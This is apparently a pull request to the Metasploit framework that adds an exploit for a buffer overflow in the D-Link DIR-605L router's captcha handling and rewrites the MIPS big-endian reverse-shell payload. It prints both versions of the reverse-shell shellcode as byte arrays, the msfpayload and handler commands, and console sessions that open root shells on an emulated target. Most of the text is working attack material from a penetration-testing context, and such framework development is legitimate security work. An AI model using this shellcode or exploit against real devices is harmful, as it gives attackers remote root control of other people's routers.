Add exploit for OSVDB 86824 D-Link DIR605L captcha buffer overflow

This pull request tries to add a metasploit port for the awesome Craig's work:

http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

Basically:

* I'm changing the shell_reverse_tcp payload for MIPSBE. Mainly because it's a very big version of the payload, which includes lots of common badchars (and the only mips encoder available also needs work).

Old shell_reverse_tcp mipsbe payload:

```
Juans-MacBook-Pro:metasploit-framework juan$ ./msfpayload linux/mipsbe/shell_reverse_tcp LHOST=192.168.172.0 LPORT=4444 C 
/*
 * linux/mipsbe/shell_reverse_tcp - 364 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.172.0, LPORT=4444, 
 * ReverseConnectRetries=5, ReverseAllowProxy=false, 
 * PrependFork=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x24\x09\xff\xef\x05\x10\xff\xff\x28\x08\x82\x82\x01\x20\x48"
"\x27\x01\x3f\xc8\x21\xaf\xb9\x85\x48\x23\xb9\x85\x48\x3c\x1c"
"\x00\x00\x27\x9c\x00\x00\x03\x99\xe0\x21\x27\xbd\xff\xd0\xaf"
"\xbc\x00\x00\xaf\xbc\x00\x28\x8f\x84\x00\x00\x00\x00\x00\x00"
"\x24\x84\x00\xf8\x00\x00\x00\x00\x8c\x85\x00\x00\x8c\x87\x00"
"\x04\x3c\x08\xc0\xa8\x35\x06\xac\x00\x27\xb9\x00\x18\x24\x03"
"\x00\x02\x24\x02\x11\x5c\xaf\xa5\x00\x18\xaf\xa6\x00\x0c\xaf"
"\xa7\x00\x1c\xa7\xa3\x00\x08\xa7\xa2\x00\x0a\xaf\xb9\x00\x20"
"\xaf\xa0\x00\x24\x24\x04\x00\x02\x24\x05\x00\x02\x00\x00\x30"
"\x21\x24\x02\x10\x57\x00\x00\x00\x0c\x24\x04\xff\xff\x10\x44"
"\x00\x1a\x00\x40\x18\x21\x00\x60\x20\x21\x24\x06\x00\x10\x27"
"\xa5\x00\x08\x24\x02\x10\x4a\x00\x00\x00\x0c\x14\x40\x00\x0e"
"\x00\x00\x28\x21\x24\x02\x0f\xdf\x00\x00\x00\x0c\x24\x05\x00"
"\x01\x24\x02\x0f\xdf\x00\x00\x00\x0c\x24\x05\x00\x02\x24\x02"
"\x0f\xdf\x00\x00\x00\x0c\x03\x20\x20\x21\x27\xa5\x00\x20\x00"
"\x00\x30\x21\x24\x02\x0f\xab\x00\x00\x00\x0c\x00\x00\x20\x21"
"\x24\x02\x0f\xa1\x00\x00\x00\x0c\x03\xe0\x00\x08\x27\xbd\x00"
"\x30\x24\x04\x00\x01\x24\x02\x0f\xa1\x00\x00\x00\x0c\x10\x00"
"\xff\xe4\x00\x60\x20\x21\x2f\x62\x69\x6e\x2f\x73\x68\x00\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30";
```

New shell_reverse_tcp mipsbe payload:

```
Juans-MacBook-Pro:metasploit-framework juan$ git checkout mips_dlink_captcha
Switched to branch 'mips_dlink_captcha'
Juans-MacBook-Pro:metasploit-framework juan$ ./msfpayload linux/mipsbe/shell_reverse_tcp LHOST=192.168.172.0 LPORT=4444 C 
/*
 * linux/mipsbe/shell_reverse_tcp - 184 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.172.0, LPORT=4444, 
 * ReverseConnectRetries=5, ReverseAllowProxy=false, 
 * PrependFork=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff"
"\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2"
"\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf"
"\xaf\xff\xe0\x3c\x0e\x11\x5c\x35\xce\x11\x5c\xaf\xae\xff\xe4"
"\x3c\x0e\xc0\xa8\x35\xce\xac\x00\xaf\xae\xff\xe6\x27\xa5\xff"
"\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01"
"\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01"
"\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff"
"\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f"
"\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf"
"\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab"
"\x01\x01\x01\x0c";

``` 

* A port of the OSVDB 86824's exploit by Craig. My only worry is which I haven't had access to a real device for testing, so I've been able to just test on a QEMU environment. Because of that I'm using ManualRanking for it. If someone could help us to test it with real hardware I guess ranking could be upgraded :)

Verification

* Payload:

- [ ] Generate an ELF with the MIPSBE shell_reverse_tcp payload with msfpayload.

```
$ ./msfpayload linux/mipsbe/shell_reverse_tcp LHOST=192.168.172.1 LPORT=4444 X > /tmp/reverse_shell_mips.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsbe/shell_reverse_tcp
 Length: 184
Options: {"LHOST"=>"192.168.172.1", "LPORT"=>"4444"}
$ file /tmp/reverse_shell_mips.elf 
/tmp/reverse_shell_mips.elf: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size

```

- [ ] Run a exploit/multi/handler with a listener for the payload 

```
> use exploit/multi/handler 
msf exploit(handler) > set payload linux/mipsbe/shell_reverse_tcp 
payload => linux/mipsbe/shell_reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...

```

- [ ] Execute the elf executable from a MIPSBE machine, I've used a debian squeeze emulated with qemu-system, you should enjoy a session

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.133:53337) at 2013-10-17 22:56:50 -0500

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux

```

* Exploit

- [ ] Easy part: firmware (1.13) downloadable from here: ftp://ftp2.dlink.com/PRODUCTS/DIR-605L/REVA/DIR-605L_FIRMWARE_1.13.ZIP

- [ ] Not so easy part: Run the boa webserver included with the firmware with qemu (user emulation). Basically use the information provided on the awesome Craig's post: http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

- [ ] Run msfconsole, exploit and hopefully enjoy your session :) 

* Exploit DEMO:

```
msf > use exploit/linux/http/dlink_dir605l_captcha_bof 
msf exploit(dlink_dir605l_captcha_bof) > set payload linux/mipsbe/shell_reverse_tcp 
payload => linux/mipsbe/shell_reverse_tcp
msf exploit(dlink_dir605l_captcha_bof) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(dlink_dir605l_captcha_bof) > set lport 4444
lport => 4444
msf exploit(dlink_dir605l_captcha_bof) > show options

Module options (exploit/linux/http/dlink_dir605l_captcha_bof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST                     yes       The target address
   RPORT    80               yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (linux/mipsbe/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.172.1    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   DLink DIR-605L 1.13


msf exploit(dlink_dir605l_captcha_bof) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(dlink_dir605l_captcha_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.133:80 - Sending exploit...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.133:53334) at 2013-10-17 22:33:43 -0500

pwd
/etc/boa
^C
Abort session 1? [y/N]  y

[*] 192.168.172.133 - Command shell session 1 closed.  Reason: User exit

```

**Known problems**: The decoder stub for the only one available mipsbe encoder contains exploit's badchars. So be sure to not include exploit's badchars on the LHOST and LPORT information for the shell_reverse_tcp payload or you won't be able to encode the payload and msfpayload will complain. Definitely need to work on MIPS encoders